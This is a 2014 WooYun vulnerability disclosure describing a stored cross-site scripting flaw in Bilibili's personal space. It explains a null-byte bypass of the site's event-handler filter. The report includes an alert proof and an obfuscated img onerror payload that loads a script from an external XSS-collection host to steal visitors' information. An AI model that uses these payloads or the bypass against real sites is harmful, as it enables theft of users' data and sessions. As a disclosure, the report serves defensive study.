当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058043

漏洞标题:BILIBILI个人空间存储型XSS(Xss filter绕过技巧)

相关厂商:上海幻电信息科技有限公司

漏洞作者: eval

提交时间:2014-04-23 10:49

修复时间:2014-04-28 10:50

公开时间:2014-04-28 10:50

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-23: 细节已通知厂商并且等待厂商处理中
2014-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

过滤器绕过 bypass

详细说明:

看了不少关于过滤器bypass的例子,一直没有机会练练。这次找了BILIBILI练手。
在个人空间的地方是可以允许插入自定义代码的:

22.jpg


测试了一些常规的跨站代码。script,iframe基本都被过滤了。
只有img没有被过滤。
那么试试img标签的过程中,发现on系列的事件,on前面会加一个_
也就是说onerror输入->输出_onerror这样的话跨站就没办法触发了。
但是不要忘记,任何过滤都必然有他的弊端。
经过fuzz,发现允许插入空字符\0。
插入<img src=1 on\0error="alert(1)">访问看看:

4.jpg


win7+ie8 9均能成功触发!

漏洞证明:

插入窃取隐私代码:

<img src="1" on�error="window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,121,103,102,99,110,120,115,115,46,115,105,110,97,97,112,112,46,99,111,109,47,113,97,101,109,106,49,63,49,51,57,56,49,52,51,48,50,56);document.body.appendChild(window.s)">


通过植入xss平台代码获取的用户信息:

44.jpg

修复方案:

on系列事件匹配一下,出现了就咔嚓掉吧。

版权声明:转载请注明来源 eval@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-04-28 10:50

厂商回复:

漏洞Rank:6 (WooYun评价)

最新状态:

暂无